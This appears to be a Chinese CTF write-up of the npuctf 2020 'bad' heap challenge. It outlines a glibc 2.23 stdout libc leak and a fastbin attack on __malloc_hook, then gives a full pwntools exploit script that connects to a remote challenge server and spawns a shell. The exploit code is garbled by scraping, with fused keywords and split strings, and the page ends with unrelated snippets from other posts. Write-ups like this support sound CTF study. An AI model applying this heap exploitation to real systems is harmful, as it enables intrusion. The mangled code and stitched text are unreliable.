寒假訓練 npuctf 2020 bad

2022-05-20 02:35:02 字數 2792 閱讀 7824

題目其實本身不難,但我太菜了,這種基礎題不會寫,其次有個疑問就是為什麼stdout可以洩露libc,還沒有逆過這個函式,所以還不是很清楚

由於沒有show函式,所以只能通過stdout來leak libc,而這程式的edit函式有overlap,所以我們可以先把乙個chunk放入unsorted bin中

在通過fast bin attack來修改我們fast bin的fd指標,指向我們之前的unsorted bin中的chunk

接著在修改unsorted bin中的chunk的size為0x71(因為記憶體有0x7f的大小,偏移為0x43),就可以寫入stdout的file結構體了,這時我們洩露了libc

接著再用fast bin attack劫持malloc hook即可

exp

from pwn import *

defadd(idx,size,content):

p.recvuntil(

'>> ')

p.sendline('1

')p.recvuntil(

'index :')

p.sendline(str(idx))

p.recvuntil(

'size: ')

p.sendline(str(size))

p.recvuntil(

'content:')

p.send(content)

defedit(idx,size,content):

p.recvuntil(

'>> ')

p.sendline('2

')p.recvuntil(

'index :')

p.sendline(str(idx))

p.recvuntil(

'size: ')

p.sendline(str(size))

p.recvuntil(

'content: ')

p.send(content)

defdelete(idx):

p.recvuntil(

'>> ')

p.sendline('3

')p.recvuntil(

'index :')

p.sendline(str(idx))

defpwn():

libc=elf('

../libc-2.23.so')

add(0, 0x18, '

pppp')

add(1, 0xc8, b'

p'*0x68+p64(0x61))

add(2, 0x68, '

pppp')

add(3, 0x68, '

pppp')

add(4, 0x68, '

pppp')

delete(1)

add(1,0xc8,'

\xdd\x45')

edit(0,0x20,b'

p'*0x18+p64(0x71))#

1 delete(2)

delete(4)

edit(3,len(b'

p'*0x68+p64(0x71)+b'

\x20

'),b'

p'*0x68+p64(0x71)+b'

\x20

')#2

add(4,0x68,'

pppp')

add(2,0x68,'

pppp')

add(5,0x68,b'

ppp'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+b'

\x00')

libc.address=u64(p.recvuntil('

\x7f

')[-6:].ljust(8,b'

\x00

'))-0x3c5600

print

(hex(libc.address))

malloc_hook=libc.symbols['

__malloc_hook']

system=libc.symbols['

system']

delete(3)

delete(2)

edit(0,len(0x18*b'

p'+p64(0x71)+p64(malloc_hook-0x23)),0x18*b'

p'+p64(0x71)+p64(malloc_hook-0x23))

add(4,0x68,'

/bin/sh\x00')

add(5,0x68,b'

p'*0x13+p64(libc.address+0xf1147))

p.recvuntil(

'>> ')

p.sendline('1

')p.recvuntil(

'index :')

p.sendline('2

')p.recvuntil(

'size: ')

p.sendline('50

')return

true

if__name__ == "

__main__":

while(1):

try:

p=remote('

node3.buuoj.cn

',26593)

pwn()

p.interactive()

break

except

exception as e:

print

(e) p.close()

continue

寒假訓練數論B

題目 fedya studies in a gymnasium.fedya s maths hometask is to calculate the following expression 1 n 2 n 3 n 4 n mod 5 for given value of n.fedya manag...

牛客寒假訓練營2020 第三場B

乙個圖上一直可以到達終點的方案數,畫出乙個符合這個方案數的圖 數字都可以用二進位制數表示,1e9 230,可以用30位二進位制數表示。所以要在圖中想辦法融入二進位制的思維,可以用邊來表示二進位制的一位。先將對角線都設為b,b有兩種方向,可看作二進位制中的 1 到達第乙個b有1種可能性,到達第二個b有...

2020寒假大一訓練八(棧) nefu

參考 心虛 了一下 學長的文章 洛谷的題解 emmm 是自己乙個個敲的 心虛 不用棧的寫法 學長的emmm好像有些bug include using namespace std const long long m 1e4 stack long long t long long ans,cen,i,j...